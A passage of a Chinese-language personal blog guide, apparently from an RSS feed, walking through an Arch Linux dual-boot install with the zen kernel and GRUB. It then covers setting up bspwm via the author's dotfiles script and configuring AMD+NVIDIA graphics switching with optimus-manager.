&lt;h2&gt;格式化分区&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EFI 分区 格式化为 fat&lt;/li&gt;
&lt;li&gt;root 分区 格式化为 ext4&lt;/li&gt;
&lt;li&gt;home 分区 格式化为 ext4&lt;/li&gt;
&lt;li&gt;创建并启用 swap 分区&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;lsblk
mkfs.fat -F 32 /dev/nvme0n1p5
mkfs.ext4 /dev/nvme0n1p6
mkfs.ext4 /dev/nvme0n1p7
fallocate -l 8192M /mnt/swapfile
chmod 600 /mnt/swapfile
mkswap -L swap /mnt/swapfile
swapon /mnt/swapfile
lsblk
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;挂载分区&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;挂载顺序：一定要先挂载 根分区，再挂载 EFI 分区，最后其它分区。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mount /dev/nvme0n1p6 /mnt
mkdir /mnt/efi
mount /dev/nvme0n1p5 /mnt/efi
mkdir /mnt/home
mount /dev/nvme0n1p7 /mnt/home
lsblk
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;换源&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.bak
cat /dev/null &amp;gt; /etc/pacman.d/mirrorlist
vim /etc/pacman.d/mirrorlist

添加如下源：
Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
保存并退出

pacman -Sy
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装基础软件包&lt;/h2&gt;
&lt;p&gt;所有 Arch Linux 必装：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;base&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base-devel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linux-zen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linux-zen-headers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linux-firmware&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
上面根据个人喜好选择内核，我使用了 &lt;code&gt;zen&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;根据自己的 CPU 决定用哪个微码：&lt;code&gt;amd-ucode&lt;/code&gt; / &lt;code&gt;intel-ucode&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用 X11 服务显示桌面：&lt;code&gt;xorg-xinit&lt;/code&gt; &lt;code&gt;xorg-server&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;fcitx5 输入法（不需要中文输入的可以不装）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fcitx5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcitx5-chinese-addons&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcitx5-configtool&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcitx5-gtk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcitx5-material-color&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcitx5-pinyin-zhwiki&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这几个常用工具应该没人不需要吧：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;neofetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vim&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;neovim&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;proxychains&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;btop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash-completion&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;网络方面（没这些就别想用 &lt;code&gt;wlan&lt;/code&gt; 了）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;iwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;networkmanager&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;音频输出：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pipewire&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pipewire-pulse&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pipewire-alsa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pipewire-jack&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;杂项（必装）：&lt;code&gt;e2fsprogs&lt;/code&gt; &lt;code&gt;ntfs-3g&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;字体（不装的话所有中文都是乱码）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;adobe-source-han-serif-cn-fonts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wqy-zenhei&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;noto-fonts-cjk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;noto-fonts-emoji&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;noto-fonts-extra&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;蓝牙（可选）：&lt;code&gt;bluez&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;下面是一些我个人常用的软件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bat dust duf procs btop exa ripgrep fd fzf httpie hyperfine
bleachbit gimp gcolor3 simplescreenrecorder
thunar thunar-archive-plugin tumbler xarchiver
ueberzug viewnior zathura zathura-pdf-poppler
pacman-contrib copyq yt-dlp transmission-gtk
papirus-icon-theme ttf-joypixels terminus-font grsync
ffmpeg ffmpegthumbnailer aom libde265 x265 x264 libmpeg2 xvidcore libtheora libvpx sdl
jasper openjpeg2 libwebp webp-pixbuf-loader
unarchiver lha lrzip lzip p7zip lbzip2 arj lzop cpio unrar unzip zip unarj xdg-utils
xorg-server xorg-xinput xorg-xsetroot zramswap qogir-icon-theme
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pacstrap -i /mnt base base-devel linux-zen linux-zen-headers linux-firmware amd-ucode xorg-xinit xorg-server fcitx5 fcitx5-chinese-addons fcitx5-configtool fcitx5-gtk fcitx5-material-color fcitx5-pinyin-zhwiki sudo neofetch neovim git wget proxychains btop iwd networkmanager alsa-utils e2fsprogs ntfs-3g bash-completion pipewire pipewire-pulse pipewire-alsa pipewire-jack adobe-source-han-serif-cn-fonts wqy-zenhei noto-fonts-cjk noto-fonts-emoji noto-fonts-extra bluez
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;生成 fstab&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;genfstab -U /mnt &amp;gt;&amp;gt;/mnt/etc/fstab
cat /mnt/etc/fstab
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;挂载 /mnt 分区&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;arch-chroot /mnt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置用户和密码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 此处分别设置：root 用户密码、添加自己日常使用的用户、设置用户权限组（注意逗号后面没空格）、为自己的账户设置密码、设置 wheel 组可以执行 sudo
passwd
useradd -m cub3y0nd
passwd cub3y0nd
usermod -aG wheel,storage,power -s /usr/bin/zsh cub3y0nd
sudo nvim /etc/sudoers

取消注释第 89 行：%wheel ALL=(ALL:ALL) ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;如果你不会使用 vim，最好自己查询一下基础操作。&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;设置系统语言&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nvim /etc/locale.gen

取消注释第 171 行：en_US.UTF-8 UTF-8

locale-gen
echo &apos;LANG=en_US.UTF-8&apos; &amp;gt; /etc/locale.conf
export LANG=en_US.UTF-8
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置主机名和 hosts（我的主机名是 ASHES）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;echo ASHES &amp;gt; /etc/hostname
nvim /etc/hosts

添加以下内容：
127.0.0.1        localhost
::1              localhost
127.0.0.1        ASHES.localdomain        localhost
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置时区并同步&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
hwclock --systohc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;双系统引导设置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pacman -S grub efibootmgr os-prober ntfs-3g dosfstools mtools
nvim /etc/default/grub

将 `GRUB_CMDLINE_LINUX_DEFAULT` 的所有内容改为 GRUB_CMDLINE_LINUX_DEFAULT=&quot;loglevel=5 nowatchdog&quot;

loglevel 改为 5 是为了后续如果出现系统错误，方便排错加入 nowatchdog 参数，可以显著提高开关机速度

取消注释第 63 行：`GRUB_DISABLE_OS_PROBER=false`
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装 UEFI&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;这一步使用 &lt;code&gt;MBR/Legacy Boot&lt;/code&gt; 的同学需要修改该指令，具体怎么改可以自己上网查询。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grub-install --target=x86_64-efi --efi-directory=/efi --bootloader-id=Arch --recheck
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;生成 grub 配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;grub-mkconfig -o /boot/grub/grub.cfg
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置网络服务开机自启&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable NetworkManager.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;结束安装，取消所有挂载点并重启&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;exit
umount -lR /mnt
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重启指令执行后就可以拔掉安装介质了。其实在 &lt;code&gt;archiso&lt;/code&gt; 启动完毕之后就可以拔掉安装介质了（copy2ram）。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;重启后的选项卡列表里面可以看到有关 &lt;code&gt;Arch Linux&lt;/code&gt; 的启动选项。确认一下是否存在 &lt;code&gt;Windows&lt;/code&gt; 的启动选项，如果不存在的话，先进入 &lt;code&gt;Arch Linux&lt;/code&gt;，然后使用以下命令添加 &lt;code&gt;Windows 启动项&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;mount&lt;/code&gt; 中的 &lt;code&gt;/dev/nvme0n1p1&lt;/code&gt; 是我的 &lt;code&gt;Windows EFI&lt;/code&gt; 扇区名称，记得替换为你自己的 &lt;code&gt;EFI 扇区&lt;/code&gt;。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;MBR/Legacy Boot&lt;/code&gt; 的同学，下面的 &lt;code&gt;mkdir&lt;/code&gt; 指令也需要修改，不能照抄。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /boot/EFI/Windows
lsblk
mount /dev/nvme0n1p1 /boot/EFI/Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Bspwm&lt;/h1&gt;
&lt;p&gt;接下来就可以使用我编写的自动化脚本配置一些常用环境了。&lt;/p&gt;
&lt;p&gt;我的 &lt;code&gt;dotfiles&lt;/code&gt; 仓库地址：&lt;a href=&quot;https://github.com/CuB3y0nd/1llusion&quot;&gt;1llusion&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;确保 fcitx 在 wm（windows manager）环境中启动，并启动 bspwm。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim /etc/environment

添加以下行：
export GTK_IM_MODULE=fcitx
export QI_IM_MODULE=fcitx
export XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx
export GLFW_IM_MODULE=ibus

cp /etc/X11/xinit/xinitrc ~/.xinitrc
nvim ~/.xinitrc

注释以下行：
twm &amp;amp;
xclock -geometry 50x50-1+1 &amp;amp;
xterm -geometry 80x50+494+51 &amp;amp;
xterm -geometry 80x20+494-0 &amp;amp;
exec xterm -geometry 80x66+8+0 -name login

添加以下行：
fcitx5 &amp;amp;
exec bspwm
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;下载脚本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cd
curl https://raw.githubusercontent.com/CuB3y0nd/1llusion/master/install -o $HOME/install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;授予执行权限&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;chmod +x install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;运行脚本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;./install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;请不要使用 root 权限运行该脚本！&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;脚本执行结束后重启，使用 &lt;code&gt;startx&lt;/code&gt; 指令即可进入 &lt;code&gt;bspwm&lt;/code&gt;。&lt;/p&gt;
&lt;h1&gt;AMD + NVIDIA 双显卡驱动安装&lt;/h1&gt;
&lt;h2&gt;基础包安装&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S xf86-video-amdgpu
sudo pacman -S nvidia-dkms nvidia-settings nvidia-prime

# glmark2 是开源性能测试工具，可选
sudo pacman -S glmark2

yay -S optimus-manager optimus-manager-qt --noconfirm
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置 optimus-manager&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cp /usr/share/optimus-manager.conf /etc/optimus-manager/optimus-manager.conf

sudo -E nvim /etc/optimus-manager/optimus-manager.conf

将 `pci_power_control` 改为 `yes`

在 `[amd]` 下，将 `driver` 改为 `amdgpu`
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;防止内核冲突&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo -E nvim /etc/mkinitcpio.conf

把 `kms` 从 `HOOKS` 里面移除

sudo mkinitcpio -p linux-zen
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;切换教程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo -E nvim ~/.xinitrc

添加 `/usr/bin/prime-offload`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;optimus-manager --print-mode&lt;/code&gt; 可以查看当前使用的显卡。&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;optimus-manager --switch nvidia&lt;/code&gt; 可以切换到 &lt;code&gt;nvidia&lt;/code&gt; 显卡。&lt;/p&gt;
&lt;p&gt;切换显卡前需要先执行 &lt;code&gt;prime-offload&lt;/code&gt;，切换显卡重新登陆后需要执行 &lt;code&gt;sudo prime-switch&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;可以允许 &lt;code&gt;wheel&lt;/code&gt; 身份组以管理员权限执行 &lt;code&gt;prime-switch&lt;/code&gt; 不用输入密码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -E nvim /etc/sudoers

%wheel ALL=(ALL:ALL) NOPASSWD:/usr/bin/prime-switch
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>